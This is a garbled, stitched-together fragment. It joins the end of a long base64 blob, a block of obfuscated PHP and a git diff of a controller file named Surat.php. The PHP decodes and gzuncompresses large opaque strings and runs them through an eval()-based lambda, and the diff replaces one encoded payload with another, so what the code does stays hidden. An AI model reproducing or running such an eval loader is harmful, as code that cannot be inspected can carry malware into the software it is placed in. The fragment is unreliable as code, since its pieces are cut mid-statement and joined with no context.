HMp+nti/c2zFMlc7Z3NO5o+P6v3L77V/IQaZ+I3zWbls7vn2gX7fLOGm5rniuNhZVY4YeK7m9sX+6klFIZz/aLL69jCCngMknbMPGpxTbfDpzU/CTDmHYSc30tH62twdZbCB+TyH7BDk18gPWdm9kh/Fb7b4bK+m8n0NcbV7WUev1s1Xly346eCdG7vxmvRzZA/IflmdhvI5rq/s2k118DE44+ChlZxe3h3lbmIyS/VrDSf5G+GixnOd1tPO3fY1upuxiP/DrjL+x+qSC2HY472qtqHqWnYdpdyAPOms3B78s72HnMK1n14mp9ri966wfYZtDwxI7Q25uDU3rga2jV8+9W9OYIb7C13b3FzVMP7Nm/u1R3l7u3XmrvUsxssTTo74K/AaX5VyLzuyupko2q/BgJIi0Lrz0u2vYIId8QJ4HiN90HnbfRskVKx0UPLHkGgtWszwbC4t4wvikEdTz6a9lnao4K5RpVBOc1uQ5u7QWTfVgP53Teg34T5QV8eKQBz9tKsw+qKM9G2Jx/lSubKuoudbWvdh6QOUfuqiMz41FCt9ZQ9z1j1xFnuB9d94lA28ej+zVgZwZ7tZy6lPc+PbH3d7G/1BkVkeZKnu7Pa7fFPmOIVXzonNz+zHu8ZPOvdE5qpHN0RlTru67R/6jusU5XZJbVJ6FZv3Qs/v7mrnbqo2VzjwixmEsc8+JE7e3LmrzNT+sjSsa9CQ6PztXEA+futakhkUFptXaPnxuf7bIFw7munwbKwtZ7m39Pbws1hb6LKYWOmTrEalM+7UuxV/iYVKxV01itYCa7oqz4UWeB46sJWe58Sfws74e+8ZcjnPhot7Q2cuhqp8g3w9tecHWctrnfQt8oZSLdD+kMzBc8qx3xL5l8vJwvNrrr/2dcSz5WDyocLV9sTayG/8xFrzZ7rG+6Wyie5S/0uvLrz/88Pf/RRa/sfd/lr/996+febz27Ece/Me+w39+of9/+Z+q2+u/O3L983f8uyOHtvjPA+MvTPG/f/0/cf6FWg=='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Surat.php b/donjo-app/controllers/Surat.php index ca5283b80..689bbd121 100644 --- a/donjo-app/controllers/Surat.php +++ b/donjo-app/controllers/Surat.php @@ -228,7 +228,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtfVtz48iR7rsj9j/4YSNmN+YcGwCbPc1w+EGkCJAQRYkAcSFeHATQAiiAIC1SvP36k1lVAApXUt1j79pHHLe7JQJ1zcrKy5eZf/wj/fzn3+Dz11+2b6tk//LLX8iP7PPXX/xN8rr5v8vt9s/eJtm/beL4+9vuz/r723L/p224/eMgXu52f/rTn375yx9Yc3/8jz98/vfv998fkC7++Dt+/lr5zS+22NstLHHlKMO//kJ+lVPVTR9Gu3/94+fn8/P5+fz8e35+8dam4Nvq+1gxpYV13Khy78U+R79Rpglck7Lrv30u1efn8/P5+fx8fj4/n5/Pz+fn8/Ov9vk0Z3x+Pj+fn8/Pv+/nF3e5+/71y9/8797G//7LXz5X5PPz+fn8fH4+P5+fn/oUAQ33s810sPr2d/g7eAiEh/FgE2jreOfo/a27joLFWk6Wlvw+VrTQW0df+efmnX7sxlNVuyM/Qzt3fx/L063X0WKXvO8cvLUYelIUOIp5Wej9i4/+bHsc+Ip5XiTmG/xOdBNNXJ77e8cSwyX+zvpCn59x7Q7lo6vEbwt7usWxuKv+xe1AG5IRLKRelI7XUeLz0jptvXMf+lEjeB7Gvcfnd0t7GrsJvD/0Z/NB33o88u2HIYzhfmn3hYV+d368v+uOB0Lw+Hp3mur9e1cSV0urG49lNfaknuitp/F4GL/DXLf+yBSWVu99PAg3/kg7Pq2+HdyRuYf5vTvS/uDa5vvShvU7d98de3Z4oPMKdEV+Gw9hvUZaOL4fHx/ni2BC+h5fxnI/hnGLrg3ro8D6DzXodxhoSpxgW+6gb8D8Vr61D9N+vcvmMJF6R8fqRg7Me7KOo4fCGsK+rH1ci3StcI22Swn3N/66tL7sxqNpvJDkM+xL4q1lYWk/7sbKPvYUOcL9A1o4wt9HH/boO9CFQ/atC+vcD32FrPNlAevvruV3QiurPnynbscjnI+M6xH6g/7Ot7q43mwc2L+zdRUD/t17AxqBfdII3SCdwPi2/uBuM444GoC1X+rj7WSQ0U8Eewd9nMJlh9AQnTOsrZv0w7GiwvhkGBvOEdYS6RKeGytk3zka7CZOx3xfWDiXY+Ba5jvMc0fWRhFx/UQ4ExtKgz1sU6S/15DugfZU0ZNi7H/H5g/zkLFPEZ7BPo4LC/Z7NO3CuuBa0D3omMJTwJ8jOFsW0No6FhZWKOKZWCK9KIxeFA3OgSws7Ee6fqOa5+3tNt1rePfsk2fjC/Qn0PnB3lin0GX06ElIx/IRxhbCOr9jGwugNV/vrxaWv8WfPcV89+E72Pe+p5yQdi5Lva9CH0Cjakj2+JzRSXcB68nWbQM0IsK55NbM3yyx/7XP7VfNPKzuljyvIP34obfqvzm2hjRCvndxTlYXx1EZE8+vjKGpz4zuSBdkYzw8mfNIngAdPel6f6ibU1kbxn347mk8UOeaofY1QVbnhvw0g3a1ofxkGcMV0JsBbczgdw8zQ1ShjSfgTfjzzDSARoZqXzd2gQl9GSL0Z84CaMOE/z0xejA0U53rpto3B19wTE+mcVINWE9zKJuw7/LcMEc4TuBJfR14km5Cn3p/Dv31gb/KMMZHGLOhGxp+P4D2cExAYeaTdoZxmX5/tiLtzcfD/ePMiKcw7gk8ZxqCPJkZX4KZqfXNlA8Jpj0ztuosnYvZN+fp+zieCDic0e1n7+l9bPNpHscwHk02on1fh3nCe4+6se8bQhToRled8PQ8RLqfwj778XhwV747ghnQhK+EB291F4xhjZeWEBgK8k/go5SmnpH2tPxegHemB2+E/N7fwDkaL6xdMJPio68MkW8fn/S7PeWrBvy+B+0A3ep9HXjjwbfVVwdpJJkCj9Og7/jgru42y5EmePfIR08i0KGItAm8H/6O8ay9u2tTmJyjdE6vbqffBVpNlqPZP5Ofw9xP24Vkvntw/8F6ZfeO3/E7k7X/7utduHu9A5yNVzwbjv14cDr93WQdCq51DDSx/ziWFxdGk3d43pdnXHv4o4SCP+pfsD1HioXlyFxN1tODq/fIHhhCPJwIZFxz3ZiRtaDtfJsOYM99G+9G+ejJJ9lNzL0nnpSlrcawjxfHAP5hCb/dz7Yijn1m94/2EH8nXuzhFnhCfNElE3FvWzdqeVaejrXhnrT/dKztcw58RoDf3/LM3EdePNzj3bdHnlffN6x5gjwujuFdoNFud25M5VLbU1cC3jSaetp6ujfhPnOsL6V2xAPINztcF7ejYn+0//vddJCYFwf52KjvzS2Qa6wTrMse2jOhXz9s6muu9BJyXkZm5Fu7pv4eXclv70vuhy7IMs6l8Xu860To561pLMbaXOtreUXW8bWpnWkMNAt3k5/z7HnTs+bZHT3mc0L5ZN17t4co26kHro+5p8D5N09jXxF3j3E/cuKT/F2Zxh72JXU9zQ5fHZDxUF7T1r2za8H+g4yRzUWeHkGOEO0hOSdnQ9HWQHNf4KwdCY+IubYj7vc4BqB9WOc1yonOIEiAn841E/lokDzo/W8vg378XYmFh4H/5BJ5Bc5EZwb37vSMcifc56/Q3gXvSFc5HXzJjNRz9BuR0dfTHcg9wEemIsplY8X84pP9fgxmlraHPl+Ax737I1gP5RR7MJbvRL6F8zzqQ/sO3LtGoOI6JPEe5GZsl5x3b6RufWjT0e8iF+jIK9AR4d/IY0DmU0EOAhkC5NpFB9fzS2CLvVdY1wv0K8JcNpQ/YZ879h79A/LjGfiF8PS6fbEl4CXAd73EfPUHwfYpHSf9E8E9APK78CuMJXQG8Dehg+PGOvuEF/oWyFFib0/obeDtxgMfzthJBHkqWZiF318Ircu1z76wdpPJ4I7MGfj8AeUXu0PX2JbouVHPx0DtIP8WD0ulB3JR98VD3cPWsjZsPcrWk/7RhCXIJZN5F/sWXblH5DDy3b0QqNIpRPkZ5Jc9bWuWNK0DfL8iYxmZO1tCufeuB/MAOtZAdhXpHAdeU/8C8inXmsbZd9A/3GMduLuRFqYzwdg8zIv7BXSyAdl//7w+4b2RnXn87lnvgx7jBSWew7XR712jmyW504JGellai+AhnwOMsy/6QAugw70srG34Xe6dHVsW4V6E8xRty++zNYA97faX0KeDOmCsGtoK1m6U8h5vo0rdA+gqb3CG16gH2R1VcFYeocniepK5QJ8a0Abqpyh7a+FiDWftHGxhjAdnFWzIug6p3uuzs4rjg+/hDtaequMJIhd42czawz45IB91dXO4wOdBD+q+LvWwdEdsvuog582E+AXkVZAJ1UdNj2CfYD2Aj82SCOYEZx1+XgJNIW0TXfrsYZvAQ0DugHOqdswjzsGxtBekvQc9qlk/8gfaliMH9C1o5wvwGNDdxHeY05Xnp0QHdldBAroGyOMe6pa4ZtvFub/GuaUylwo8yz9Hwfci/Zf/RLQdpH0vqd8f7g/sJ8hRr3C+YK4Gzu9a+zzdnd2OB/PI1rGBvlrH+f6s3yXPIIsuR2rsvAor9XwHetp0C3z7BfZy9zBQ2dntrXGPJ51d5K17HdgnoJtTymN641UUTFZ3yXgF8ibosN5FWC0SDXRmVXBX4sWVpqCbHYPF2gNecwJebgT4/cSe7uEdlG93zlxYzRIT9U1KR4Pxr89KFCyAD3mdx94Y5go6eDixiB6+9yWgp4F4GL9++TaRol8L794fD4v5l0C9/GPXZGHjOYoFbl22zkg4PILePwbdST2PufHjWoAufRZR5pVAFlj5CvBWSViB7g3tn+JnXZ0w3s9sTPIZ9MThwnKALseBtpYl2Idt49rYSL/j1fPr8bCc47oMfx1X+G7dn35vjPIXyC630CDjXeGyM8V5Ir1/A11644Fc9ayPE5y7B3K5Y6Id6rgZJ5TPTCRcL+Hw/czoNwG5Se7R9RwJqwdYf2hrNVaoLAHrgWuU0sphIcWoh+AaHuGdI9pj/q3paNBKR61rYCoy6qUbajvbgwyshQ7arFZ9Je0P5wz0lZ1ZZz0M4A/c9/hcvibPg174DOf76QbaeJm1PcPfu/V/Mqg8o6/GPkfCtomuYf1CR9HuXaIjA3+VqN6GchLODfj6K9AA6MxTZhcNyLqDDNx+VmAv/RHQ7Kr/d5Dztp7IaJe9D/3S35+jxnZeWu8xE2RuftynEPTxLcp8v+PY31DWtCUmA+RjR50WdAs1dFc/OH7QPX2B3avJI8rDZA+pfAryrd0n93sqv6pi6x7u4SzFcI8XxzISiB5TJ/P4oPf6Z7zPUd/48s7k1ncmyyUfkf8WsO7Af9egf59ZO/9oWfCV2KGL69Ab17TrSCbqaCe1ns7q5DWUiVG+Q1k7gXdR7gxzOa939pVFUpax2bgYjZfGVZIhQW+6wN2F+iLu+9ahugzoD2JI9p87gyDb5Xx/4PsPjTxD+NWXwhhktAht/ku95QzYZuwluLaoZ4PMpqDuHV2Vi9QR7ovaRfnYi/0N/Dt+KIwbdX8D5dSVau/oOGwhHrefETgL0BaeYQXk9yiX341YUyaD/gXtOmWaAxo6+ZZ5/n5dFkznS/uBMc/XPUEv8brUfmBQ+v36ROT5K+NGG+B6un2o7u/ENLr3utlDW3R/Fp3ktn1zUXYn9O6LnoJ7Zka2BGf+3Mb/rusILfziiD4Al9gJgtPjIPqt9q7heLgn9d4f5Eb6SOAuuvjWSfDOXvAMcsACdAtXITaBiPEEGDPIOZZ4wXPdLmehnUA+PjTpGAq2I9wmx+dzcK/LdozOpThSz0S3BpkQ5U1zX5TjZ7ub2wJe/n00S2hbvktkG4XSXcrbH/I+0jsRdYSVjTbv0Q7vudjVYU3WaM8UVpO767KFPW9fG6DfxjmonX7oSPE7rj2cNTp2+QpvIPYWg80z5YPCrwtYL6CNd1/GNo0NyK3f+O9Rnsq/Ozb00ffr5lyx07Tcd54UHnzxm/AIL3zkbnOQL+hBhHIosfWckVfDXTCgumvTPQe8bLs8199JngL8fBAkQANvcMaD58s3eD6Oqnpw9i7cR9ML8m+kQzeZxr4M+oJknontQoe2lF6SyQrlu26EvgW8B7UXQzDnhhA/z+NdsrS0F/RxgmyBc6p8BzJxd6n7PvCUyBansiFO1bnQdfF82GhHUuSj2xknNtw1qtyba+Z0rhu9J3KnwZ1F5Pv58Mr34zp7W4T2GHguu/dw7Ss8eg3roMhvMC/UndAmsgaZ7JLaIQttEhtCEJH1MndJaqezG+4PlfBh2SX3L/bP2dtU5Cf3tfd/Ou4Q7oUNXZtm2SSlgwXahpTeuUlGKY5ZIzoR7BnKKWd/pG6RPsn+xA782SVGZGqmYc5NuWcaUUTX/9wD3cUEXaXJHnZ3mJz7T+jvRP69tGbV+dE1BJ3Q3HsjrQvrDvLibtsmTxN5T4nf4T4DPiDjO5W9hX8zvoe01q/YyFAOuMHmk60TyrBL2wG90MD159e+ZEOm8qHN2UTTOT3d2Bf6xB2pB2eQ0AjfV40dG/ldDPyuh37yxAX5jFuPLeIOQC6PfJ2sCZ6RtyVdEzhzDO8R4+/oHYt2escUEI9w9i2jTf+ruduFAP0xTsveZWdAQnthLAFPEBndvcNdv2teI/4c0Hnie8RWnZi72rNTN8bBt8NYmcbLcz/04JwvrCBg5zZAPy/BEVgx8Oz9FmRctJcEIDeCbODDvyOQEfuUx+h94BOPQZ0Mpip7lLcStBXh+Ag9SPv4u0nteLaUf99Au+y5GHES76inNdibtw7ILmMYC+h2wnc4s9xYW8+QSuYmvvBzI7Qm7/2WPXhD/RFo87w0e1sP7UErYu93W2SDyFnHO/Sh8fPGdeHluSoPBf0NcVtZPygbO1sXsTmrsEl+JzIPzJv4AR8GC2494hfQBxGjcl0n4fYv3QPrnMlT3BqILuMF5LurNudcbtx6HbhnYN6pHMbvW5vNBfq